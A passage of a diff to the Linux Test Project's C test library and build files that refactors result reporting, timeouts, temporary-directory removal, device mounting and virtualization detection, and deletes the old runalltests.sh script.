-#else
-	snprintf(shm_path, sizeof(shm_path), "%s/ltp_%s_%d",
-	         getenv("TMPDIR"), tst_test->tid, getpid());
-#endif
+	if (access("/dev/shm", F_OK) == 0) {
+		snprintf(shm_path, sizeof(shm_path), "/dev/shm/ltp_%s_%d",
+		         tst_test->tid, getpid());
+	} else {
+		char *tmpdir;
+
+		if (!tst_tmpdir_created())
+			tst_tmpdir();
+
+		tmpdir = tst_get_tmpdir();
+		snprintf(shm_path, sizeof(shm_path), "%s/ltp_%s_%d",
+		         tmpdir, tst_test->tid, getpid());
+		free(tmpdir);
+	}
 
 	ipc_fd = open(shm_path, O_CREAT | O_EXCL | O_RDWR, 0600);
 	if (ipc_fd < 0)
@@ -137,12 +145,10 @@
 	SAFE_CLOSE(fd);
 }
 
-static void update_results(const char *file, unsigned int lineno, int ttype)
+static void update_results(int ttype)
 {
-	if (!results) {
-		tst_brk(TBROK,
-		        "%s: %d: Results IPC not initialized!", file, lineno);
-	}
+	if (!results)
+		return;
 
 	switch (ttype) {
 	case TCONF:
@@ -190,6 +196,7 @@
 	break;
 	default:
 		tst_brk(TBROK, "Invalid ttype value %i", ttype);
+		abort();
 	}
 
 	if (ttype & TERRNO)
@@ -198,20 +205,29 @@
 	if (ttype & TTERRNO)
 		str_errno = tst_strerrno(TEST_ERRNO);
 
-	ret = snprintf(str, size, "%s:%i: %s: ", file, lineno, res);
+	ret = snprintf(str, size, "%s:%i: ", file, lineno);
+	str += ret;
+	size -= ret;
 
+	if (tst_color_enabled(STDERR_FILENO))
+		ret = snprintf(str, size, "%s%s: %s", tst_ttype2color(ttype),
+			       res, ANSI_COLOR_RESET);
+	else
+		ret = snprintf(str, size, "%s: ", res);
 	str += ret;
 	size -= ret;
 
 	ret = vsnprintf(str, size, fmt, va);
-
 	str += ret;
 	size -= ret;
 
-	if (str_errno)
-		snprintf(str, size, ": %s\n", str_errno);
-	else
-		snprintf(str, size, "\n");
+	if (str_errno) {
+		ret = snprintf(str, size, ": %s", str_errno);
+		str += ret;
+		size -= ret;
+	}
+
+	snprintf(str, size, "\n");
 
 	fputs(buf, stderr);
 }
@@ -221,16 +237,35 @@
 {
 	print_result(file, lineno, ttype, fmt, va);
 
-	update_results(file, lineno, TTYPE_RESULT(ttype));
+	update_results(TTYPE_RESULT(ttype));
 }
 
 void tst_vbrk_(const char *file, const int lineno, int ttype,
-               const char *fmt, va_list va) __attribute__((noreturn));
+               const char *fmt, va_list va);
+
+static void (*tst_brk_handler)(const char *file, const int lineno, int ttype,
+			       const char *fmt, va_list va) = tst_vbrk_;
+
+static void tst_cvres(const char *file, const int lineno, int ttype,
+		      const char *fmt, va_list va)
+{
+	if (TTYPE_RESULT(ttype) == TBROK) {
+		ttype &= ~TTYPE_MASK;
+		ttype |= TWARN;
+	}
+
+	print_result(file, lineno, ttype, fmt, va);
+	update_results(TTYPE_RESULT(ttype));
+}
 
 static void do_test_cleanup(void)
 {
+	tst_brk_handler = tst_cvres;
+
 	if (tst_test->cleanup)
 		tst_test->cleanup();
+
+	tst_brk_handler = tst_vbrk_;
 }
 
 void tst_vbrk_(const char *file, const int lineno, int ttype,
@@ -263,7 +298,7 @@
 	va_list va;
 
 	va_start(va, fmt);
-	tst_vbrk_(file, lineno, ttype, fmt, va);
+	tst_brk_handler(file, lineno, ttype, fmt, va);
 	va_end(va);
 }
 
@@ -291,7 +326,7 @@
 	}
 }
 
-static void reap_children(void)
+void tst_reap_children(void)
 {
 	int status;
 	pid_t pid;
@@ -335,10 +370,10 @@
 	char *optstr;
 	char *help;
 } options[] = {
-	{"h",  "-h      Prints this help"},
-	{"i:", "-i n    Execute test n times"},
-	{"I:", "-I x    Execute test for n seconds"},
-	{"C:", "-C ARG  Run child process with ARG arguments (used internally)"},
+	{"h",  "-h       Prints this help"},
+	{"i:", "-i n     Execute test n times"},
+	{"I:", "-I x     Execute test for n seconds"},
+	{"C:", "-C ARG   Run child process with ARG arguments (used internally)"},
 };
 
 static void print_help(void)
@@ -352,7 +387,7 @@
 		return;
 
 	for (i = 0; tst_test->options[i].optstr; i++)
-		fprintf(stderr, "%s", tst_test->options[i].help);
+		fprintf(stderr, "%s\n", tst_test->options[i].help);
 }
 
 static void check_option_collision(void)
@@ -398,7 +433,7 @@
 	if (i >= topts_len)
 		tst_brk(TBROK, "Invalid option '%c' (should not happen)", opt);
 
-	*(toptions[i].arg) = optarg;
+	*(toptions[i].arg) = optarg ? optarg : "";
 }
 
 /* see self_exec.c */
@@ -447,6 +482,69 @@
 	}
 }
 
+int tst_parse_int(const char *str, int *val, int min, int max)
+{
+	long rval;
+
+	if (!str)
+		return 0;
+
+	int ret = tst_parse_long(str, &rval, min, max);
+
+	if (ret)
+		return ret;
+
+	*val = (int)rval;
+	return 0;
+}
+
+int tst_parse_long(const char *str, long *val, long min, long max)
+{
+	long rval;
+	char *end;
+
+	if (!str)
+		return 0;
+
+	errno = 0;
+	rval = strtol(str, &end, 10);
+
+	if (str == end || *end != '\0')
+		return EINVAL;
+
+	if (errno)
+		return errno;
+
+	if (rval > max || rval < min)
+		return ERANGE;
+
+	*val = rval;
+	return 0;
+}
+
+int tst_parse_float(const char *str, float *val, float min, float max)
+{
+	double rval;
+	char *end;
+
+	if (!str)
+		return 0;
+
+	errno = 0;
+	rval = strtod(str, &end);
+
+	if (str == end || *end != '\0')
+		return EINVAL;
+
+	if (errno)
+		return errno;
+
+	if (rval > (double)max || rval < (double)min)
+		return ERANGE;
+
+	*val = (float)rval;
+	return 0;
+}
 
 static void do_exit(int ret)
 {
@@ -476,7 +574,11 @@
 {
 	int v1, v2, v3;
 
-	tst_parse_kver(tst_test->min_kver, &v1, &v2, &v3);
+	if (tst_parse_kver(tst_test->min_kver, &v1, &v2, &v3)) {
+		tst_res(TWARN,
+		        "Invalid kernel version %s, expected %%d.%%d.%%d",
+		        tst_test->min_kver);
+	}
 
 	if (tst_kvercmp(v1, v2, v3) < 0) {
 		tst_brk(TCONF, "The test requires kernel %s or newer",
@@ -522,6 +624,9 @@
 	if (!tst_test)
 		tst_brk(TBROK, "No tests to run");
 
+	if (!tst_test->tid)
+		tst_brk(TBROK, "No tid set in test structure");
+
 	if (!tst_test->test && !tst_test->test_all)
 		tst_brk(TBROK, "No test function speficied");
 
@@ -540,23 +645,52 @@
 	if (tst_test->min_kver)
 		check_kver();
 
+	if (tst_test->format_device)
+		tst_test->needs_device = 1;
+
+	if (tst_test->mount_device) {
+		tst_test->needs_device = 1;
+		tst_test->format_device = 1;
+	}
+
 	parse_opts(argc, argv);
 
 	setup_ipc();
 
-	if (needs_tmpdir()) {
+	if (needs_tmpdir() && !tst_tmpdir_created())
 		tst_tmpdir();
-		tmpdir_created = 1;
-	}
 
 	if (tst_test->needs_device) {
-		tdev.dev = tst_acquire_device(NULL);
-		tdev.fs_type = tst_dev_fs_type();
+		tdev.dev = tst_acquire_device_(NULL, tst_test->dev_min_size);
 
 		if (!tdev.dev)
 			tst_brk(TCONF, "Failed to acquire device");
 
 		tst_device = &tdev;
+
+		if (tst_test->dev_fs_type)
+			tdev.fs_type = tst_test->dev_fs_type;
+		else
+			tdev.fs_type = tst_dev_fs_type();
+
+		if (tst_test->format_device) {
+			SAFE_MKFS(tdev.dev, tdev.fs_type,
+			          tst_test->dev_fs_opts,
+				  tst_test->dev_extra_opt);
+		}
+
+		if (tst_test->mount_device) {
+
+			if (!tst_test->mntpoint) {
+				tst_brk(TBROK,
+					"tst_test->mntpoint must be set!");
+			}
+
+			SAFE_MKDIR(tst_test->mntpoint, 0777);
+			SAFE_MOUNT(tdev.dev, tst_test->mntpoint, tdev.fs_type,
+				   tst_test->mnt_flags, tst_test->mnt_data);
+			device_mounted = 1;
+		}
 	}
 
 	if (tst_test->resource_files)
@@ -576,10 +710,13 @@
 
 static void do_cleanup(void)
 {
+	if (device_mounted)
+		tst_umount(tst_test->mntpoint);
+
 	if (tst_test->needs_device && tdev.dev)
 		tst_release_device(tdev.dev);
 
-	if (needs_tmpdir() && tmpdir_created) {
+	if (tst_tmpdir_created()) {
 		/* avoid munmap() on wrong pointer in tst_rmdir() */
 		tst_futexes = NULL;
 		tst_rmdir();
@@ -601,7 +738,7 @@
 			exit(0);
 		}
 
-		reap_children();
+		tst_reap_children();
 
 		if (results_equal(&saved_results, results))
 			tst_brk(TBROK, "Test haven't reported results!");
@@ -616,7 +753,7 @@
 			exit(0);
 		}
 
-		reap_children();
+		tst_reap_children();
 
 		if (results_equal(&saved_results, results))
 			tst_brk(TBROK, "Test %i haven't reported results!", i);
@@ -667,7 +804,6 @@
 }
 
 static pid_t test_pid;
-static unsigned int timeout = 300;
 
 static void alarm_handler(int sig LTP_ATTRIBUTE_UNUSED)
 {
@@ -676,13 +812,49 @@
 
 static void heartbeat_handler(int sig LTP_ATTRIBUTE_UNUSED)
 {
-	alarm(timeout);
+	alarm(results->timeout);
+}
+
+#define SIGINT_MSG "Sending SIGKILL to test process...\n"
+
+static void sigint_handler(int sig LTP_ATTRIBUTE_UNUSED)
+{
+	if (test_pid > 0) {
+		if (write(2, SIGINT_MSG, sizeof(SIGINT_MSG) - 1)) {
+			/* https://gcc.gnu.org/bugzilla/show_bug.cgi?id=66425 */
+		}
+		kill(-test_pid, SIGKILL);
+	}
+}
+
+void tst_set_timeout(unsigned int timeout)
+{
+	char *mul = getenv("LTP_TIMEOUT_MUL");
+
+	results->timeout = timeout;
+
+	if (mul) {
+		float m = atof(mul);
+
+		if (m < 1)
+			tst_brk(TBROK, "Invalid timeout multiplier '%s'", mul);
+
+		results->timeout = results->timeout * m + 0.5;
+	}
+
+	tst_res(TINFO, "Timeout per run is %uh %02um %02us",
+		results->timeout/3600, (results->timeout%3600)/60,
+		results->timeout % 60);
+
+	if (getpid() == lib_pid)
+		alarm(results->timeout);
+	else
+		kill(getppid(), SIGUSR1);
 }
 
 void tst_run_tcases(int argc, char *argv[], struct tst_test *self)
 {
 	int status;
-	char *mul;
 
 	lib_pid = getpid();
 	tst_test = self;
@@ -690,38 +862,31 @@
 
 	do_setup(argc, argv);
 
-	if (tst_test->timeout)
-		timeout = tst_test->timeout;
-
-	mul = getenv("LTP_TIMEOUT_MUL");
-	if (mul) {
-		float m = atof(mul);
-
-		if (m < 1)
-			tst_brk(TBROK, "Invalid timeout multiplier '%s'", mul);
-
-		timeout = timeout * m + 0.5;
-	}
-
-	tst_res(TINFO, "Timeout per run is %us", timeout);
-
 	SAFE_SIGNAL(SIGALRM, alarm_handler);
 	SAFE_SIGNAL(SIGUSR1, heartbeat_handler);
 
-	alarm(timeout);
+	if (tst_test->timeout)
+		tst_set_timeout(tst_test->timeout);
+	else
+		tst_set_timeout(300);
+
+	SAFE_SIGNAL(SIGINT, sigint_handler);
 
 	test_pid = fork();
 	if (test_pid < 0)
 		tst_brk(TBROK | TERRNO, "fork()");
 
 	if (!test_pid) {
+		SAFE_SIGNAL(SIGALRM, SIG_DFL);
+		SAFE_SIGNAL(SIGUSR1, SIG_DFL);
+		SAFE_SIGNAL(SIGINT, SIG_DFL);
 		SAFE_SETPGID(0, 0);
 		testrun();
 	}
 
 	SAFE_WAITPID(test_pid, &status, 0);
-
 	alarm(0);
+	SAFE_SIGNAL(SIGINT, SIG_DFL);
 
 	if (WIFEXITED(status) && WEXITSTATUS(status))
 		do_exit(WEXITSTATUS(status));
diff --git a/lib/tst_timer.c b/lib/tst_timer.c
index 5f0cfc4..bd3f277 100644
--- a/lib/tst_timer.c
+++ b/lib/tst_timer.c
@@ -61,6 +61,7 @@
 			tst_brkm(TCONF, NULL,
 			         "Clock id %s(%u) not supported by kernel",
 				 clock_name(clk_id), clk_id);
+			return;
 		}
 
 		tst_brkm(TBROK | TERRNO, NULL, "clock_gettime() failed");
diff --git a/lib/tst_tmpdir.c b/lib/tst_tmpdir.c
index 5474634..824cade 100644
--- a/lib/tst_tmpdir.c
+++ b/lib/tst_tmpdir.c
@@ -56,7 +56,7 @@
  *		Neither tst_tmpdir() or tst_rmdir() has a return value.
  *
  *********************************************************/
-
+#define _GNU_SOURCE
 #include <sys/mman.h>
 #include <sys/types.h>
 #include <sys/stat.h>
@@ -67,9 +67,10 @@
 #include <stdlib.h>
 #include <string.h>
 #include <unistd.h>
+#include <dirent.h>
+#include <fcntl.h>
 
 #include "test.h"
-#include "rmobj.h"
 #include "ltp_priv.h"
 #include "lapi/futex.h"
 
@@ -104,9 +105,11 @@
 
 char *tst_get_tmpdir(void)
 {
-	/* Smack the user for calling things out of order. */
-	if (TESTDIR == NULL)
+	if (TESTDIR == NULL) {
 		tst_brkm(TBROK, NULL, "you must call tst_tmpdir() first");
+		return NULL;
+	}
+
 	return strdup(TESTDIR);
 }
 
@@ -115,6 +118,116 @@
 	return test_start_work_dir;
 }
 
+static int rmobj(char *obj, char **errmsg)
+{
+	int ret_val = 0;
+	DIR *dir;
+	struct dirent *dir_ent;
+	char dirobj[PATH_MAX];
+	struct stat statbuf;
+	static char err_msg[1024];
+	int fd;
+
+	fd = open(obj, O_DIRECTORY | O_NOFOLLOW);
+	if (fd != -1) {
+		close(fd);
+
+		/* Do NOT perform the request if the directory is "/" */
+		if (!strcmp(obj, "/")) {
+			if (errmsg != NULL) {
+				sprintf(err_msg, "Cannot remove /");
+				*errmsg = err_msg;
+			}
+			return -1;
+		}
+
+		/* Open the directory to get access to what is in it */
+		if ((dir = opendir(obj)) == NULL) {
+			if (rmdir(obj) != 0) {
+				if (errmsg != NULL) {
+					sprintf(err_msg,
+						"rmdir(%s) failed; errno=%d: %s",
+						obj, errno, tst_strerrno(errno));
+					*errmsg = err_msg;
+				}
+				return -1;
+			} else {
+				return 0;
+			}
+		}
+
+		/* Loop through the entries in the directory, removing each one */
+		for (dir_ent = (struct dirent *)readdir(dir);
+		     dir_ent != NULL; dir_ent = (struct dirent *)readdir(dir)) {
+
+			/* Don't remove "." or ".." */
+			if (!strcmp(dir_ent->d_name, ".")
+			    || !strcmp(dir_ent->d_name, ".."))
+				continue;
+
+			/* Recursively call this routine to remove the current entry */
+			sprintf(dirobj, "%s/%s", obj, dir_ent->d_name);
+			if (rmobj(dirobj, errmsg) != 0)
+				ret_val = -1;
+		}
+
+		closedir(dir);
+
+		/* If there were problems removing an entry, don't attempt to
+		   remove the directory itself */
+		if (ret_val == -1)
+			return -1;
+
+		/* Get the link count, now that all the entries have been removed */
+		if (lstat(obj, &statbuf) < 0) {
+			if (errmsg != NULL) {
+				sprintf(err_msg,
+					"lstat(%s) failed; errno=%d: %s", obj,
+					errno, tst_strerrno(errno));
+				*errmsg = err_msg;
+			}
+			return -1;
+		}
+
+		/* Remove the directory itself */
+		if (statbuf.st_nlink >= 3) {
+			/* The directory is linked; unlink() must be used */
+			if (unlink(obj) < 0) {
+				if (errmsg != NULL) {
+					sprintf(err_msg,
+						"unlink(%s) failed; errno=%d: %s",
+						obj, errno, tst_strerrno(errno));
+					*errmsg = err_msg;
+				}
+				return -1;
+			}
+		} else {
+			/* The directory is not linked; remove() can be used */
+			if (remove(obj) < 0) {
+				if (errmsg != NULL) {
+					sprintf(err_msg,
+						"remove(%s) failed; errno=%d: %s",
+						obj, errno, tst_strerrno(errno));
+					*errmsg = err_msg;
+				}
+				return -1;
+			}
+		}
+	} else {
+		if (unlink(obj) < 0) {
+			if (errmsg != NULL) {
+				sprintf(err_msg,
+					"unlink(%s) failed; errno=%d: %s", obj,
+					errno, tst_strerrno(errno));
+				*errmsg = err_msg;
+			}
+			return -1;
+		}
+	}
+
+	return 0;
+}
+
 void tst_tmpdir(void)
 {
 	char template[PATH_MAX];
@@ -137,6 +250,7 @@
 		if (c != env_tmpdir) {
 			tst_brkm(TBROK, NULL, "You must specify an absolute "
 				 "pathname for environment variable TMPDIR");
+			return;
 		}
 		snprintf(template, PATH_MAX, "%s/%.3sXXXXXX", env_tmpdir, TCID);
 	} else {
@@ -144,19 +258,29 @@
 	}
 
 	/* Make the temporary directory in one shot using mkdtemp. */
-	if (mkdtemp(template) == NULL)
+	if (mkdtemp(template) == NULL) {
 		tst_brkm(TBROK | TERRNO, NULL,
 			 "%s: mkdtemp(%s) failed", __func__, template);
-	if ((TESTDIR = strdup(template)) == NULL)
+		return;
+	}
+
+	if ((TESTDIR = strdup(template)) == NULL) {
 		tst_brkm(TBROK | TERRNO, NULL,
 			 "%s: strdup(%s) failed", __func__, template);
+		return;
+	}
 
-	if (chown(TESTDIR, -1, getgid()) == -1)
+	if (chown(TESTDIR, -1, getgid()) == -1) {
 		tst_brkm(TBROK | TERRNO, NULL,
 			 "chown(%s, -1, %d) failed", TESTDIR, getgid());
-	if (chmod(TESTDIR, DIR_MODE) == -1)
+		return;
+	}
+
+	if (chmod(TESTDIR, DIR_MODE) == -1) {
 		tst_brkm(TBROK | TERRNO, NULL,
 			 "chmod(%s, %#o) failed", TESTDIR, DIR_MODE);
+		return;
+	}
 
 	if (getcwd(test_start_work_dir, sizeof(test_start_work_dir)) == NULL) {
 		tst_resm(TINFO, "Failed to record test working dir");
diff --git a/lib/tst_virt.c b/lib/tst_virt.c
index 87f73dc..e95cf5e 100644
--- a/lib/tst_virt.c
+++ b/lib/tst_virt.c
@@ -64,13 +64,58 @@
 	return 0;
 }
 
+static int try_systemd_detect_virt(void)
+{
+	FILE *f;
+	char virt_type[64];
+	int ret;
+
+	/* See tst_run_cmd.c */
+	void *old_handler = signal(SIGCHLD, SIG_DFL);
+
+	f = popen("systemd-detect-virt", "r");
+	if (!f) {
+		signal(SIGCHLD, old_handler);
+		return 0;
+	}
+
+	if (!fgets(virt_type, sizeof(virt_type), f))
+		virt_type[0] = '\0';
+
+	ret = pclose(f);
+
+	signal(SIGCHLD, old_handler);
+
+	/*
+	 * systemd-detect-virt not found by shell or no virtualization detected
+	 * (systemd-detect-virt returns non-zero)
+         */
+	if (ret)
+		return 0;
+
+	if (strncmp("kvm", virt_type, 3))
+		return VIRT_KVM;
+
+	if (strncmp("xen", virt_type, 3))
+		return VIRT_XEN;
+
+	return 0;
+}
+
 int tst_is_virt(int virt_type)
 {
+	int ret = try_systemd_detect_virt();
+
+	if (ret)
+		return ret == virt_type;
+
 	switch (virt_type) {
 	case VIRT_XEN:
 		return is_xen();
 	case VIRT_KVM:
 		return is_kvm();
 	}
+
 	tst_brkm(TBROK, NULL, "invalid virt_type flag: %d", virt_type);
+	return -1;
 }
diff --git a/ltpmenu b/ltpmenu
index 6a2338b..38d38c0 100755
--- a/ltpmenu
+++ b/ltpmenu
@@ -112,7 +112,7 @@
         0) \
             for cmd in cc make lex ;
             do \
-                which $cmd &>/tmp/runltp.err.$$ ;
+                which $cmd >/tmp/runltp.err.$$ 2>&1 ;
                 if [ $? -ne 0 ] ;
                     then \
                         display_info_msg "Compiling LTP testsuite" \
diff --git a/m4/GNUmakefile b/m4/GNUmakefile
index 79c8ae2..a76308e 100644
--- a/m4/GNUmakefile
+++ b/m4/GNUmakefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
diff --git a/m4/ltp-builtin_clear_cache.m4 b/m4/ltp-builtin_clear_cache.m4
new file mode 100644
index 0000000..74e4ccd
--- /dev/null
+++ b/m4/ltp-builtin_clear_cache.m4
@@ -0,0 +1,30 @@
+dnl
+dnl Copyright (c) Linux Test Project, 2016
+dnl
+dnl This program is free software;  you can redistribute it and/or modify
+dnl it under the terms of the GNU General Public License as published by
+dnl the Free Software Foundation; either version 2 of the License, or
+dnl (at your option) any later version.
+dnl
+dnl This program is distributed in the hope that it will be useful,
+dnl but WITHOUT ANY WARRANTY;  without even the implied warranty of
+dnl MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
+dnl the GNU General Public License for more details.
+dnl
+
+AC_DEFUN([LTP_CHECK_BUILTIN_CLEAR_CACHE],[dnl
+	AC_MSG_CHECKING([for __builtin___clear_cache])
+	AC_LINK_IFELSE([AC_LANG_SOURCE([[
+int main(void) {
+	char arr[16];
+	__builtin___clear_cache(arr, arr + sizeof(arr));
+        return 0;
+}]])],[has_bcc="yes"])
+
+if test "x$has_bcc" = xyes; then
+	AC_DEFINE(HAVE_BUILTIN_CLEAR_CACHE,1,[Define to 1 if you have __builtin___clear_cache])
+	AC_MSG_RESULT(yes)
+else
+	AC_MSG_RESULT(no)
+fi
+])
diff --git a/m4/ltp-cap.m4 b/m4/ltp-cap.m4
index c7e8d3a..834ab36 100644
--- a/m4/ltp-cap.m4
+++ b/m4/ltp-cap.m4
@@ -16,7 +16,7 @@
 dnl along with this program;  if not, write to the Free Software
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
-dnl Author: Garrett Cooper <yanegomi@gmail.com>
+dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
 dnl
 
 dnl
diff --git a/m4/ltp-numa.m4 b/m4/ltp-numa.m4
index 60ae07b..30650cd 100644
--- a/m4/ltp-numa.m4
+++ b/m4/ltp-numa.m4
@@ -15,7 +15,7 @@
 dnl along with this program;  if not, write to the Free Software
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
-dnl Author: Garrett Cooper <yanegomi@gmail.com>
+dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
 dnl
 
 dnl
diff --git a/m4/ltp-prctl.m4 b/m4/ltp-prctl.m4
index d10aae6..55872ef 100644
--- a/m4/ltp-prctl.m4
+++ b/m4/ltp-prctl.m4
@@ -15,7 +15,7 @@
 dnl along with this program;  if not, write to the Free Software
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
-dnl Author: Garrett Cooper <yanegomi@gmail.com>
+dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
 dnl
 
 dnl
diff --git a/m4/ltp-signal.m4 b/m4/ltp-signal.m4
index f7258f7..e0a9335 100644
--- a/m4/ltp-signal.m4
+++ b/m4/ltp-signal.m4
@@ -15,7 +15,7 @@
 dnl along with this program;  if not, write to the Free Software
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
-dnl Author: Garrett Cooper <yanegomi@gmail.com>
+dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
 dnl
 
 dnl
diff --git a/m4/ltp-time.m4 b/m4/ltp-time.m4
index b498726..9d29547 100644
--- a/m4/ltp-time.m4
+++ b/m4/ltp-time.m4
@@ -15,7 +15,7 @@
 dnl along with this program;  if not, write to the Free Software
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
-dnl Author: Garrett Cooper <yanegomi@gmail.com>
+dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
 dnl
 
 dnl
diff --git a/m4/ltp-unshare.m4 b/m4/ltp-unshare.m4
index 7b5ce2d..de8da73 100644
--- a/m4/ltp-unshare.m4
+++ b/m4/ltp-unshare.m4
@@ -15,7 +15,7 @@
 dnl along with this program;  if not, write to the Free Software
 dnl Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
 dnl
-dnl Author: Garrett Cooper <yanegomi@gmail.com>
+dnl Author: Ngie Cooper <yaneurabeya@gmail.com>
 dnl
 
 dnl
diff --git a/m4/ltp-xfs_quota.m4 b/m4/ltp-xfs_quota.m4
index c9ee335..c23412a 100644
--- a/m4/ltp-xfs_quota.m4
+++ b/m4/ltp-xfs_quota.m4
@@ -24,6 +24,7 @@
 AC_DEFUN([LTP_CHECK_XFS_QUOTACTL],[dnl
 	AC_MSG_CHECKING([for XFS quota (xfs/xqm.h)])
 	AC_LINK_IFELSE([AC_LANG_SOURCE([
+#define _GNU_SOURCE
 #include <xfs/xqm.h>
 #include <sys/quota.h>
 int main(void) {
diff --git a/pan/Makefile b/pan/Makefile
index a4b575b..8cefa99 100644
--- a/pan/Makefile
+++ b/pan/Makefile
@@ -17,7 +17,7 @@
 #    with this program; if not, write to the Free Software Foundation, Inc.,
 #    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
 #
-# Garrett Cooper, July 2009
+# Ngie Cooper, July 2009
 #
 
 top_srcdir		?= ..
diff --git a/runalltests.sh b/runalltests.sh
deleted file mode 100755
index 20086b6..0000000
--- a/runalltests.sh
+++ /dev/null
@@ -1,516 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-## File:        runalltests.sh                                                ##
-##                                                                            ##
-## Description:  This script just calls runltp now, and is being phased out.  ##
-##		If you rely on this script for automation reasons, please     ##
-##                                                                            ##
-## History	Subrata Modak <subrata@linuc.vnet.ibm.com> changed the code   ##
-##		to include testing other testcases which are not run by       ##
-##		default, 08/09/2008                                           ##
-##                                                                            ##
-################################################################################
-
-export LTPROOT=${0%/*}
-RUNLTP="$LTPROOT/runltp"
-
-echo  "*******************************************************************"
-echo  "*******************************************************************"
-echo  "**								**"
-echo  "** This script is being re-written to cover all aspects of	**"
-echo  "** testing LTP, which includes running all those tests which	**"
-echo  "** are not run by default with ${RUNLTP##*/} script. Special setup	**"
-echo  "** in system environment will be done to run all those tests	**"
-echo  "** like the File System tests, SELinuxtest, etc			**"
-echo  "**								**"
-echo  "*******************************************************************"
-echo  "*******************************************************************"
-
-export RUN_BALLISTA=0
-export RUN_OPENPOSIX=0
-## Set this to 1 if mm-1.4.2.tar.gz is already installed in your system
-## from ftp://ftp.ossp.org/pkg/lib/mm/mm-1.4.2.tar.gz
-export RUN_MM_CORE_APIS=0
-export LIBMM_INSTALLED=0
-## This is required if already not set to /usr/local/lib/ as
-## mm-1.4.2.tar.gz gets installed at /usr/local/lib/
-export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/usr/local/lib/:/lib/
-export PATH=$PATH:/sbin/
-
-## Set this to 1 if libaio-0.3.92.tar.gz is already installed in your system
-## from http://www.kernel.org/pub/linux/kernel/people/bcrl/aio/libaio-0.3.92.tar.gz
-export RUN_AIOTESTS=0
-export LIBAIO_INSTALLED=0
-
-## Set this to 1 if libcaps-2.11 or newer is already installed in your system
-## from ftp://ftp.kernel.org/pub/linux/libs/security/linux-privs/libcap2, as well as,
-## the libattr is available in the system. The kernel should also have been built
-## with the following option: CONFIG_SECURITY_FILE_CAPABILITIES=y
-export RUN_FILECAPS=0
-export LIBCAPS_INSTALLED=0
-export LIBATTR_INSTALLED=0
-
-## Set this to 1 if you wish to execute the stress_cd tests
-## Make sure you have FLOPPY inserted, be warned that you
-## will loose all data on it after the tests,
-export RUN_STRESS_FLOPPY=0
-
-## Set this to 1 if you wish to execute the stress_floppy tests
-## Make sure you have CD inserted in your CD-ROM drive,
-export RUN_STRESS_CD=0
-
-##Set this to 1 if you wish to run the CPUHOTPLUG tests
-export RUN_CPU_HOTPLUG=0
-
-##Set this to 1 if you wish to run the LTP-NETWORK tests. Please refer to:
-## http://ltp.cvs.sourceforge.net/viewvc/ltp/ltp/testcases/network/LTP-Network-test_README.pdf
-## for more information on how to run the tests.
-export RUN_LTP_NETWORK_TESTS=0
-
-##Set this to 1 if you wish to run the LTP-NETWORK-STRESS tests. Please refer to:
-## http://ltp.cvs.sourceforge.net/viewvc/ltp/ltp/testcases/network/LTP-Network-test_README.pdf
-## and http://ltp.cvs.sourceforge.net/viewvc/ltp/ltp/testcases/network/stress/README
-## for more information on how to run the NETWORK-STRESS tests.
-export RUN_LTP_NETWORK_STRESS_TESTS=0
-
-## Set this to 1 if you wish to run the ltp/testscripts/adp tests
-export RUN_LTP_ADP_TESTS=0
-
-## Set this to 1 if you wish to run the AUTOFS tests
-#  REQUIREMENTS:
-#   1) System with a floppy device with a floppy disk in it.
-#   2) A spare (scratch) disk partition of 100MB or larger.
-export RUN_LTP_AUTOFS1_TESTS=0
-export RUN_LTP_AUTOFS4_TESTS=0
-export DISK_PARTITION1=0
-
-## Set this to 1 if you wish to run the EXPORTFS tests
-#  DESCRIPTION : A script that will test exportfs on Linux system.
-#  REQUIREMENTS:
-#   1) NFS Server system with rsh enabled between client & server.
-#   2) 100MB Disk partition on NFS server.
-export RUN_EXPORTFS_TESTS=0
-export NFS_SERVER1=xxx
-export NFS_SERVER_DISK_PARTITION1=yyy
-export NFS_SERVER_FS_TYPE1=zzz
-
-
-## Set this to 1 if you wish to run the FS tests on READ ONLY File Systems. Refer to http://ltp.cvs.sourceforge.net/viewvc/ltp/ltp/testscripts/Readme_ROBind for more info
-export RUN_RO_ONLY_FS_TESTS=0
-export READ_ONLY_DIRECTORY1=xxxx
-
-## Set this to 1 if you wish to run the ISOFS tests
-#  REQUIREMENTS:
-#   Must have root access to execute this script
-export RUN_ISOFS_TESTS=0
-
-## Set this to 1 if you wish to run the DMMAPPER tests
-#Note: In order to run this test, you must turn on "device mapper"
-#      component in kernel (it is under device drivers item when you
-#      run make menuconfig); and you must install userspace supporting
-#      files (libdevmapper and dmsetup). They are in the device-mapper
